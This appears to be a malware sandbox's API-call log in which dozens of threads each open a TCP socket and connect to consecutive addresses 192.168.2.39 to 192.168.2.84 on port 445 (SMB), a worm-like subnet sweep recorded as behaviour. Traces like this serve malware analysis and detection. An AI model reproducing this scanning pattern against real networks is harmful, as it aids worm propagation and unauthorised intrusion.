[0135.803] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10f9fdf0 | out: lpWSAData=0x10f9fdf0) returned 0 [0135.803] socket (af=2, type=1, protocol=0) returned 0x1270 [0135.803] inet_addr (cp="192.168.2.39") returned 0x2702a8c0 [0135.803] htons (hostshort=0x1bd) returned 0xbd01 [0135.803] connect (s=0x1270, name=0x10f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.39"), namelen=16) Thread: id = 976 os_tid = 0x1704 [0135.900] GetCurrentThreadId () returned 0x1704 [0135.900] GetCurrentThreadId () returned 0x1704 [0135.900] GetCurrentThreadId () returned 0x1704 [0135.900] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x110dfdf0 | out: lpWSAData=0x110dfdf0) returned 0 [0135.900] socket (af=2, type=1, protocol=0) returned 0x124c [0135.901] inet_addr (cp="192.168.2.40") returned 0x2802a8c0 [0135.901] htons (hostshort=0x1bd) returned 0xbd01 [0135.901] connect (s=0x124c, name=0x110dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.40"), namelen=16) Thread: id = 977 os_tid = 0x1708 [0135.996] GetCurrentThreadId () returned 0x1708 [0135.996] GetCurrentThreadId () returned 0x1708 [0135.996] GetCurrentThreadId () returned 0x1708 [0135.996] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x31dfdf0 | out: lpWSAData=0x31dfdf0) returned 0 [0135.996] socket (af=2, type=1, protocol=0) returned 0x37c [0135.996] inet_addr (cp="192.168.2.41") returned 0x2902a8c0 [0135.996] htons (hostshort=0x1bd) returned 0xbd01 [0135.996] connect (s=0x37c, name=0x31dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.41"), namelen=16) Thread: id = 978 os_tid = 0x170c [0136.087] GetCurrentThreadId () returned 0x170c [0136.087] GetCurrentThreadId () returned 0x170c [0136.087] GetCurrentThreadId () returned 0x170c [0136.087] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1121fdf0 | out: lpWSAData=0x1121fdf0) returned 0 [0136.087] socket (af=2, type=1, protocol=0) returned 0x122c [0136.087] inet_addr (cp="192.168.2.42") returned 0x2a02a8c0 [0136.087] htons (hostshort=0x1bd) returned 0xbd01 [0136.087] connect (s=0x122c, name=0x1121fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.42"), namelen=16) Thread: id = 979 os_tid = 0x1710 [0136.181] GetCurrentThreadId () returned 0x1710 [0136.181] GetCurrentThreadId () returned 0x1710 [0136.181] GetCurrentThreadId () returned 0x1710 [0136.181] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x33dfdf0 | out: lpWSAData=0x33dfdf0) returned 0 [0136.181] socket (af=2, type=1, protocol=0) returned 0x1230 [0136.181] inet_addr (cp="192.168.2.43") returned 0x2b02a8c0 [0136.181] htons (hostshort=0x1bd) returned 0xbd01 [0136.181] connect (s=0x1230, name=0x33dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.43"), namelen=16) Thread: id = 980 os_tid = 0x1714 [0136.290] GetCurrentThreadId () returned 0x1714 [0136.290] GetCurrentThreadId () returned 0x1714 [0136.290] GetCurrentThreadId () returned 0x1714 [0136.290] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1135fdf0 | out: lpWSAData=0x1135fdf0) returned 0 [0136.290] socket (af=2, type=1, protocol=0) returned 0x1148 [0136.291] inet_addr (cp="192.168.2.44") returned 0x2c02a8c0 [0136.291] htons (hostshort=0x1bd) returned 0xbd01 [0136.291] connect (s=0x1148, name=0x1135fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.44"), namelen=16) Thread: id = 981 os_tid = 0x1718 [0136.386] GetCurrentThreadId () returned 0x1718 [0136.387] GetCurrentThreadId () returned 0x1718 [0136.387] GetCurrentThreadId () returned 0x1718 [0136.387] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1149fdf0 | out: lpWSAData=0x1149fdf0) returned 0 [0136.387] socket (af=2, type=1, protocol=0) returned 0x1168 [0136.387] inet_addr (cp="192.168.2.45") returned 0x2d02a8c0 [0136.387] htons (hostshort=0x1bd) returned 0xbd01 [0136.387] connect (s=0x1168, name=0x1149fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.45"), namelen=16) Thread: id = 982 os_tid = 0x171c [0136.478] GetCurrentThreadId () returned 0x171c [0136.478] GetCurrentThreadId () returned 0x171c [0136.478] GetCurrentThreadId () returned 0x171c [0136.478] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x115dfdf0 | out: lpWSAData=0x115dfdf0) returned 0 [0136.478] socket (af=2, type=1, protocol=0) returned 0x116c [0136.478] inet_addr (cp="192.168.2.46") returned 0x2e02a8c0 [0136.478] htons (hostshort=0x1bd) returned 0xbd01 [0136.478] connect (s=0x116c, name=0x115dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.46"), namelen=16) Thread: id = 983 os_tid = 0x1720 [0136.569] GetCurrentThreadId () returned 0x1720 [0136.569] GetCurrentThreadId () returned 0x1720 [0136.569] GetCurrentThreadId () returned 0x1720 [0136.569] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1171fdf0 | out: lpWSAData=0x1171fdf0) returned 0 [0136.569] socket (af=2, type=1, protocol=0) returned 0x4cc [0136.569] inet_addr (cp="192.168.2.47") returned 0x2f02a8c0 [0136.569] htons (hostshort=0x1bd) returned 0xbd01 [0136.569] connect (s=0x4cc, name=0x1171fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.47"), namelen=16) Thread: id = 984 os_tid = 0x1724 [0136.665] GetCurrentThreadId () returned 0x1724 [0136.666] GetCurrentThreadId () returned 0x1724 [0136.666] GetCurrentThreadId () returned 0x1724 [0136.666] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1185fdf0 | out: lpWSAData=0x1185fdf0) returned 0 [0136.666] socket (af=2, type=1, protocol=0) returned 0x120c [0136.666] inet_addr (cp="192.168.2.48") returned 0x3002a8c0 [0136.666] htons (hostshort=0x1bd) returned 0xbd01 [0136.666] connect (s=0x120c, name=0x1185fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.48"), namelen=16) Thread: id = 985 os_tid = 0x1728 Thread: id = 986 os_tid = 0x172c [0136.773] GetCurrentThreadId () returned 0x172c [0136.773] GetCurrentThreadId () returned 0x172c [0136.773] GetCurrentThreadId () returned 0x172c [0136.773] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x34dfdf0 | out: lpWSAData=0x34dfdf0) returned 0 [0136.773] socket (af=2, type=1, protocol=0) returned 0x1210 [0136.773] inet_addr (cp="192.168.2.49") returned 0x3102a8c0 [0136.773] htons (hostshort=0x1bd) returned 0xbd01 [0136.774] connect (s=0x1210, name=0x34dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.49"), namelen=16) Thread: id = 987 os_tid = 0x1730 [0136.866] GetCurrentThreadId () returned 0x1730 [0136.866] GetCurrentThreadId () returned 0x1730 [0136.866] GetCurrentThreadId () returned 0x1730 [0136.866] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x35dfdf0 | out: lpWSAData=0x35dfdf0) returned 0 [0136.866] socket (af=2, type=1, protocol=0) returned 0x1198 [0136.866] inet_addr (cp="192.168.2.50") returned 0x3202a8c0 [0136.866] htons (hostshort=0x1bd) returned 0xbd01 [0136.866] connect (s=0x1198, name=0x35dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.50"), namelen=16) Thread: id = 988 os_tid = 0x1734 [0136.960] GetCurrentThreadId () returned 0x1734 [0136.960] GetCurrentThreadId () returned 0x1734 [0136.960] GetCurrentThreadId () returned 0x1734 [0136.960] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x36dfdf0 | out: lpWSAData=0x36dfdf0) returned 0 [0136.960] socket (af=2, type=1, protocol=0) returned 0xf04 [0136.960] inet_addr (cp="192.168.2.51") returned 0x3302a8c0 [0136.960] htons (hostshort=0x1bd) returned 0xbd01 [0136.960] connect (s=0xf04, name=0x36dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.51"), namelen=16) Thread: id = 989 os_tid = 0x1738 [0137.053] GetCurrentThreadId () returned 0x1738 [0137.054] GetCurrentThreadId () returned 0x1738 [0137.054] GetCurrentThreadId () returned 0x1738 [0137.054] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11adfdf0 | out: lpWSAData=0x11adfdf0) returned 0 [0137.054] socket (af=2, type=1, protocol=0) returned 0x530 [0137.054] inet_addr (cp="192.168.2.52") returned 0x3402a8c0 [0137.054] htons (hostshort=0x1bd) returned 0xbd01 [0137.054] connect (s=0x530, name=0x11adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.52"), namelen=16) Thread: id = 990 os_tid = 0x173c [0137.146] GetCurrentThreadId () returned 0x173c [0137.146] GetCurrentThreadId () returned 0x173c [0137.146] GetCurrentThreadId () returned 0x173c [0137.146] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x37dfdf0 | out: lpWSAData=0x37dfdf0) returned 0 [0137.146] socket (af=2, type=1, protocol=0) returned 0x504 [0137.147] inet_addr (cp="192.168.2.53") returned 0x3502a8c0 [0137.147] htons (hostshort=0x1bd) returned 0xbd01 [0137.147] connect (s=0x504, name=0x37dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.53"), namelen=16) Thread: id = 991 os_tid = 0x1740 [0137.240] GetCurrentThreadId () returned 0x1740 [0137.241] GetCurrentThreadId () returned 0x1740 [0137.241] GetCurrentThreadId () returned 0x1740 [0137.241] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x38dfdf0 | out: lpWSAData=0x38dfdf0) returned 0 [0137.241] socket (af=2, type=1, protocol=0) returned 0x510 [0137.241] inet_addr (cp="192.168.2.54") returned 0x3602a8c0 [0137.241] htons (hostshort=0x1bd) returned 0xbd01 [0137.241] connect (s=0x510, name=0x38dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.54"), namelen=16) Thread: id = 992 os_tid = 0x1744 [0137.334] GetCurrentThreadId () returned 0x1744 [0137.334] GetCurrentThreadId () returned 0x1744 [0137.334] GetCurrentThreadId () returned 0x1744 [0137.334] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x39dfdf0 | out: lpWSAData=0x39dfdf0) returned 0 [0137.334] socket (af=2, type=1, protocol=0) returned 0x62c [0137.334] inet_addr (cp="192.168.2.55") returned 0x3702a8c0 [0137.334] htons (hostshort=0x1bd) returned 0xbd01 [0137.334] connect (s=0x62c, name=0x39dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.55"), namelen=16) Thread: id = 993 os_tid = 0x1748 [0137.429] GetCurrentThreadId () returned 0x1748 [0137.429] GetCurrentThreadId () returned 0x1748 [0137.429] GetCurrentThreadId () returned 0x1748 [0137.429] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3c5fdf0 | out: lpWSAData=0x3c5fdf0) returned 0 [0137.429] socket (af=2, type=1, protocol=0) returned 0x64c [0137.429] inet_addr (cp="192.168.2.56") returned 0x3802a8c0 [0137.429] htons (hostshort=0x1bd) returned 0xbd01 [0137.429] connect (s=0x64c, name=0x3c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.56"), namelen=16) Thread: id = 994 os_tid = 0x174c [0137.523] GetCurrentThreadId () returned 0x174c [0137.523] GetCurrentThreadId () returned 0x174c [0137.523] GetCurrentThreadId () returned 0x174c [0137.523] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3d9fdf0 | out: lpWSAData=0x3d9fdf0) returned 0 [0137.523] socket (af=2, type=1, protocol=0) returned 0x11d0 [0137.524] inet_addr (cp="192.168.2.57") returned 0x3902a8c0 [0137.524] htons (hostshort=0x1bd) returned 0xbd01 [0137.524] connect (s=0x11d0, name=0x3d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.57"), namelen=16) Thread: id = 995 os_tid = 0x1750 [0137.616] GetCurrentThreadId () returned 0x1750 [0137.616] GetCurrentThreadId () returned 0x1750 [0137.616] GetCurrentThreadId () returned 0x1750 [0137.616] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11c1fdf0 | out: lpWSAData=0x11c1fdf0) returned 0 [0137.616] socket (af=2, type=1, protocol=0) returned 0x35c [0137.616] inet_addr (cp="192.168.2.58") returned 0x3a02a8c0 [0137.617] htons (hostshort=0x1bd) returned 0xbd01 [0137.617] connect (s=0x35c, name=0x11c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.58"), namelen=16) Thread: id = 996 os_tid = 0x1754 [0137.719] GetCurrentThreadId () returned 0x1754 [0137.720] GetCurrentThreadId () returned 0x1754 [0137.720] GetCurrentThreadId () returned 0x1754 [0137.720] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x401fdf0 | out: lpWSAData=0x401fdf0) returned 0 [0137.720] socket (af=2, type=1, protocol=0) returned 0x1c04 [0137.720] inet_addr (cp="192.168.2.59") returned 0x3b02a8c0 [0137.720] htons (hostshort=0x1bd) returned 0xbd01 [0137.720] connect (s=0x1c04, name=0x401fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.59"), namelen=16) Thread: id = 997 os_tid = 0x1758 [0137.802] GetCurrentThreadId () returned 0x1758 [0137.802] GetCurrentThreadId () returned 0x1758 [0137.802] GetCurrentThreadId () returned 0x1758 [0137.802] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x415fdf0 | out: lpWSAData=0x415fdf0) returned 0 [0137.802] socket (af=2, type=1, protocol=0) returned 0x11bc [0137.802] inet_addr (cp="192.168.2.60") returned 0x3c02a8c0 [0137.802] htons (hostshort=0x1bd) returned 0xbd01 [0137.802] connect (s=0x11bc, name=0x415fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.60"), namelen=16) Thread: id = 998 os_tid = 0x175c [0137.896] GetCurrentThreadId () returned 0x175c [0137.896] GetCurrentThreadId () returned 0x175c [0137.896] GetCurrentThreadId () returned 0x175c [0137.896] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x429fdf0 | out: lpWSAData=0x429fdf0) returned 0 [0137.896] socket (af=2, type=1, protocol=0) returned 0x11a8 [0137.896] inet_addr (cp="192.168.2.61") returned 0x3d02a8c0 [0137.896] htons (hostshort=0x1bd) returned 0xbd01 [0137.896] connect (s=0x11a8, name=0x429fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.61"), namelen=16) Thread: id = 999 os_tid = 0x1760 [0137.989] GetCurrentThreadId () returned 0x1760 [0137.989] GetCurrentThreadId () returned 0x1760 [0137.989] GetCurrentThreadId () returned 0x1760 [0137.989] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x43dfdf0 | out: lpWSAData=0x43dfdf0) returned 0 [0137.990] socket (af=2, type=1, protocol=0) returned 0x11ac [0137.990] inet_addr (cp="192.168.2.62") returned 0x3e02a8c0 [0137.990] htons (hostshort=0x1bd) returned 0xbd01 [0137.990] connect (s=0x11ac, name=0x43dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.62"), namelen=16) Thread: id = 1000 os_tid = 0x1764 [0138.084] GetCurrentThreadId () returned 0x1764 [0138.084] GetCurrentThreadId () returned 0x1764 [0138.084] GetCurrentThreadId () returned 0x1764 [0138.084] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x451fdf0 | out: lpWSAData=0x451fdf0) returned 0 [0138.084] socket (af=2, type=1, protocol=0) returned 0x11b0 [0138.084] inet_addr (cp="192.168.2.63") returned 0x3f02a8c0 [0138.084] htons (hostshort=0x1bd) returned 0xbd01 [0138.084] connect (s=0x11b0, name=0x451fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.63"), namelen=16) Thread: id = 1001 os_tid = 0x1768 [0138.177] GetCurrentThreadId () returned 0x1768 [0138.177] GetCurrentThreadId () returned 0x1768 [0138.177] GetCurrentThreadId () returned 0x1768 [0138.177] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x465fdf0 | out: lpWSAData=0x465fdf0) returned 0 [0138.177] socket (af=2, type=1, protocol=0) returned 0x1190 [0138.177] inet_addr (cp="192.168.2.64") returned 0x4002a8c0 [0138.177] htons (hostshort=0x1bd) returned 0xbd01 [0138.177] connect (s=0x1190, name=0x465fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.64"), namelen=16) Thread: id = 1002 os_tid = 0x176c [0138.301] GetCurrentThreadId () returned 0x176c [0138.301] GetCurrentThreadId () returned 0x176c [0138.301] GetCurrentThreadId () returned 0x176c [0138.301] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x479fdf0 | out: lpWSAData=0x479fdf0) returned 0 [0138.301] socket (af=2, type=1, protocol=0) returned 0x1150 [0138.301] inet_addr (cp="192.168.2.65") returned 0x4102a8c0 [0138.301] htons (hostshort=0x1bd) returned 0xbd01 [0138.301] connect (s=0x1150, name=0x479fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.65"), namelen=16) Thread: id = 1003 os_tid = 0x1770 [0138.399] GetCurrentThreadId () returned 0x1770 [0138.399] GetCurrentThreadId () returned 0x1770 [0138.399] GetCurrentThreadId () returned 0x1770 [0138.399] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x48dfdf0 | out: lpWSAData=0x48dfdf0) returned 0 [0138.399] socket (af=2, type=1, protocol=0) returned 0x1134 [0138.399] inet_addr (cp="192.168.2.66") returned 0x4202a8c0 [0138.399] htons (hostshort=0x1bd) returned 0xbd01 [0138.399] connect (s=0x1134, name=0x48dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.66"), namelen=16) Thread: id = 1004 os_tid = 0x1774 [0138.488] GetCurrentThreadId () returned 0x1774 [0138.488] GetCurrentThreadId () returned 0x1774 [0138.488] GetCurrentThreadId () returned 0x1774 [0138.488] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4a1fdf0 | out: lpWSAData=0x4a1fdf0) returned 0 [0138.489] socket (af=2, type=1, protocol=0) returned 0x112c [0138.489] inet_addr (cp="192.168.2.67") returned 0x4302a8c0 [0138.489] htons (hostshort=0x1bd) returned 0xbd01 [0138.489] connect (s=0x112c, name=0x4a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.67"), namelen=16) Thread: id = 1005 os_tid = 0x1778 [0138.582] GetCurrentThreadId () returned 0x1778 [0138.582] GetCurrentThreadId () returned 0x1778 [0138.582] GetCurrentThreadId () returned 0x1778 [0138.582] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4b5fdf0 | out: lpWSAData=0x4b5fdf0) returned 0 [0138.583] socket (af=2, type=1, protocol=0) returned 0x32c [0138.583] inet_addr (cp="192.168.2.68") returned 0x4402a8c0 [0138.583] htons (hostshort=0x1bd) returned 0xbd01 [0138.583] connect (s=0x32c, name=0x4b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.68"), namelen=16) Thread: id = 1006 os_tid = 0x177c [0138.676] GetCurrentThreadId () returned 0x177c [0138.676] GetCurrentThreadId () returned 0x177c [0138.676] GetCurrentThreadId () returned 0x177c [0138.676] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4c9fdf0 | out: lpWSAData=0x4c9fdf0) returned 0 [0138.676] socket (af=2, type=1, protocol=0) returned 0x31c [0138.676] inet_addr (cp="192.168.2.69") returned 0x4502a8c0 [0138.676] htons (hostshort=0x1bd) returned 0xbd01 [0138.676] connect (s=0x31c, name=0x4c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.69"), namelen=16) Thread: id = 1007 os_tid = 0x1780 [0138.768] GetCurrentThreadId () returned 0x1780 [0138.768] GetCurrentThreadId () returned 0x1780 [0138.768] GetCurrentThreadId () returned 0x1780 [0138.768] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ddfdf0 | out: lpWSAData=0x4ddfdf0) returned 0 [0138.768] socket (af=2, type=1, protocol=0) returned 0x320 [0138.769] inet_addr (cp="192.168.2.70") returned 0x4602a8c0 [0138.769] htons (hostshort=0x1bd) returned 0xbd01 [0138.769] connect (s=0x320, name=0x4ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.70"), namelen=16) Thread: id = 1008 os_tid = 0x1784 [0138.863] GetCurrentThreadId () returned 0x1784 [0138.863] GetCurrentThreadId () returned 0x1784 [0138.863] GetCurrentThreadId () returned 0x1784 [0138.863] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4f1fdf0 | out: lpWSAData=0x4f1fdf0) returned 0 [0138.863] socket (af=2, type=1, protocol=0) returned 0x111c [0138.863] inet_addr (cp="192.168.2.71") returned 0x4702a8c0 [0138.863] htons (hostshort=0x1bd) returned 0xbd01 [0138.863] connect (s=0x111c, name=0x4f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.71"), namelen=16) Thread: id = 1009 os_tid = 0x1788 [0138.956] GetCurrentThreadId () returned 0x1788 [0138.956] GetCurrentThreadId () returned 0x1788 [0138.956] GetCurrentThreadId () returned 0x1788 [0138.956] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x505fdf0 | out: lpWSAData=0x505fdf0) returned 0 [0138.956] socket (af=2, type=1, protocol=0) returned 0x1108 [0138.957] inet_addr (cp="192.168.2.72") returned 0x4802a8c0 [0138.957] htons (hostshort=0x1bd) returned 0xbd01 [0138.957] connect (s=0x1108, name=0x505fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.72"), namelen=16) Thread: id = 1010 os_tid = 0x178c [0139.050] GetCurrentThreadId () returned 0x178c [0139.050] GetCurrentThreadId () returned 0x178c [0139.050] GetCurrentThreadId () returned 0x178c [0139.051] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11d5fdf0 | out: lpWSAData=0x11d5fdf0) returned 0 [0139.051] socket (af=2, type=1, protocol=0) returned 0x76c [0139.051] inet_addr (cp="192.168.2.73") returned 0x4902a8c0 [0139.051] htons (hostshort=0x1bd) returned 0xbd01 [0139.051] connect (s=0x76c, name=0x11d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.73"), namelen=16) Thread: id = 1011 os_tid = 0x1790 [0139.143] GetCurrentThreadId () returned 0x1790 [0139.143] GetCurrentThreadId () returned 0x1790 [0139.143] GetCurrentThreadId () returned 0x1790 [0139.143] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x519fdf0 | out: lpWSAData=0x519fdf0) returned 0 [0139.144] socket (af=2, type=1, protocol=0) returned 0x10fc [0139.144] inet_addr (cp="192.168.2.74") returned 0x4a02a8c0 [0139.144] htons (hostshort=0x1bd) returned 0xbd01 [0139.144] connect (s=0x10fc, name=0x519fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.74"), namelen=16) Thread: id = 1012 os_tid = 0x1794 [0139.238] GetCurrentThreadId () returned 0x1794 [0139.238] GetCurrentThreadId () returned 0x1794 [0139.238] GetCurrentThreadId () returned 0x1794 [0139.238] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11e9fdf0 | out: lpWSAData=0x11e9fdf0) returned 0 [0139.238] socket (af=2, type=1, protocol=0) returned 0x6ec [0139.238] inet_addr (cp="192.168.2.75") returned 0x4b02a8c0 [0139.238] htons (hostshort=0x1bd) returned 0xbd01 [0139.238] connect (s=0x6ec, name=0x11e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.75"), namelen=16) Thread: id = 1013 os_tid = 0x1798 [0139.336] GetCurrentThreadId () returned 0x1798 [0139.336] GetCurrentThreadId () returned 0x1798 [0139.336] GetCurrentThreadId () returned 0x1798 [0139.336] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x52dfdf0 | out: lpWSAData=0x52dfdf0) returned 0 [0139.336] socket (af=2, type=1, protocol=0) returned 0x8e4 [0139.336] inet_addr (cp="192.168.2.76") returned 0x4c02a8c0 [0139.336] htons (hostshort=0x1bd) returned 0xbd01 [0139.336] connect (s=0x8e4, name=0x52dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.76"), namelen=16) Thread: id = 1014 os_tid = 0x179c [0139.425] GetCurrentThreadId () returned 0x179c [0139.425] GetCurrentThreadId () returned 0x179c [0139.425] GetCurrentThreadId () returned 0x179c [0139.425] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x541fdf0 | out: lpWSAData=0x541fdf0) returned 0 [0139.425] socket (af=2, type=1, protocol=0) returned 0x10dc [0139.425] inet_addr (cp="192.168.2.77") returned 0x4d02a8c0 [0139.425] htons (hostshort=0x1bd) returned 0xbd01 [0139.425] connect (s=0x10dc, name=0x541fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.77"), namelen=16) Thread: id = 1015 os_tid = 0x17a0 [0139.519] GetCurrentThreadId () returned 0x17a0 [0139.519] GetCurrentThreadId () returned 0x17a0 [0139.520] GetCurrentThreadId () returned 0x17a0 [0139.520] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11fdfdf0 | out: lpWSAData=0x11fdfdf0) returned 0 [0139.520] socket (af=2, type=1, protocol=0) returned 0x868 [0139.520] inet_addr (cp="192.168.2.78") returned 0x4e02a8c0 [0139.520] htons (hostshort=0x1bd) returned 0xbd01 [0139.520] connect (s=0x868, name=0x11fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.78"), namelen=16) Thread: id = 1016 os_tid = 0x17a4 [0139.612] GetCurrentThreadId () returned 0x17a4 [0139.612] GetCurrentThreadId () returned 0x17a4 [0139.612] GetCurrentThreadId () returned 0x17a4 [0139.612] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x555fdf0 | out: lpWSAData=0x555fdf0) returned 0 [0139.612] socket (af=2, type=1, protocol=0) returned 0x10b8 [0139.613] inet_addr (cp="192.168.2.79") returned 0x4f02a8c0 [0139.613] htons (hostshort=0x1bd) returned 0xbd01 [0139.613] connect (s=0x10b8, name=0x555fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.79"), namelen=16) Thread: id = 1017 os_tid = 0x17a8 [0139.708] GetCurrentThreadId () returned 0x17a8 [0139.708] GetCurrentThreadId () returned 0x17a8 [0139.708] GetCurrentThreadId () returned 0x17a8 [0139.708] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1211fdf0 | out: lpWSAData=0x1211fdf0) returned 0 [0139.708] socket (af=2, type=1, protocol=0) returned 0x10b0 [0139.708] inet_addr (cp="192.168.2.80") returned 0x5002a8c0 [0139.709] htons (hostshort=0x1bd) returned 0xbd01 [0139.709] connect (s=0x10b0, name=0x1211fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.80"), namelen=16) Thread: id = 1018 os_tid = 0x17ac [0139.799] GetCurrentThreadId () returned 0x17ac [0139.799] GetCurrentThreadId () returned 0x17ac [0139.799] GetCurrentThreadId () returned 0x17ac [0139.799] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x569fdf0 | out: lpWSAData=0x569fdf0) returned 0 [0139.799] socket (af=2, type=1, protocol=0) returned 0x828 [0139.799] inet_addr (cp="192.168.2.81") returned 0x5102a8c0 [0139.799] htons (hostshort=0x1bd) returned 0xbd01 [0139.799] connect (s=0x828, name=0x569fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.81"), namelen=16) Thread: id = 1019 os_tid = 0x17b0 [0139.892] GetCurrentThreadId () returned 0x17b0 [0139.892] GetCurrentThreadId () returned 0x17b0 [0139.892] GetCurrentThreadId () returned 0x17b0 [0139.892] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x57dfdf0 | out: lpWSAData=0x57dfdf0) returned 0 [0139.892] socket (af=2, type=1, protocol=0) returned 0x1098 [0139.893] inet_addr (cp="192.168.2.82") returned 0x5202a8c0 [0139.893] htons (hostshort=0x1bd) returned 0xbd01 [0139.893] connect (s=0x1098, name=0x57dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.82"), namelen=16) Thread: id = 1020 os_tid = 0x17b4 [0139.989] GetCurrentThreadId () returned 0x17b4 [0139.989] GetCurrentThreadId () returned 0x17b4 [0139.989] GetCurrentThreadId () returned 0x17b4 [0139.989] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1225fdf0 | out: lpWSAData=0x1225fdf0) returned 0 [0139.989] socket (af=2, type=1, protocol=0) returned 0x1090 [0139.989] inet_addr (cp="192.168.2.83") returned 0x5302a8c0 [0139.989] htons (hostshort=0x1bd) returned 0xbd01 [0139.989] connect (s=0x1090, name=0x1225fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.83"), namelen=16) Thread: id = 1021 os_tid = 0x17b8 [0140.079] GetCurrentThreadId () returned 0x17b8 [0140.079] GetCurrentThreadId () returned 0x17b8 [0140.079] GetCurrentThreadId () returned 0x17b8 [0140.079] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x591fdf0 | out: lpWSAData=0x591fdf0) returned 0 [0140.079] socket (af=2, type=1, protocol=0) returned 0x854 [0140.080] inet_addr (cp="192.168.2.84") returned 0x5402a8c0 [0140.080] htons (hostshort=0x1bd) returned 0xbd01 [0140.080] connect (s=0x854, name=0x591fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.84"), namelen=16) Thread: id = 1022 os_tid = 0x17bc [0140.173] GetCurrentThreadId () returned 0x17bc [0140.173] GetCurrentThreadId () returned 0x17bc [0140.173] GetCurrentThreadId () returned 0x17bc [0140.173] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5a5fdf0 | out: lpWSAData=0x5a5fdf0) returned 0 [0140.173] socket (af=2, type=1, protocol=0) returned 0x107c 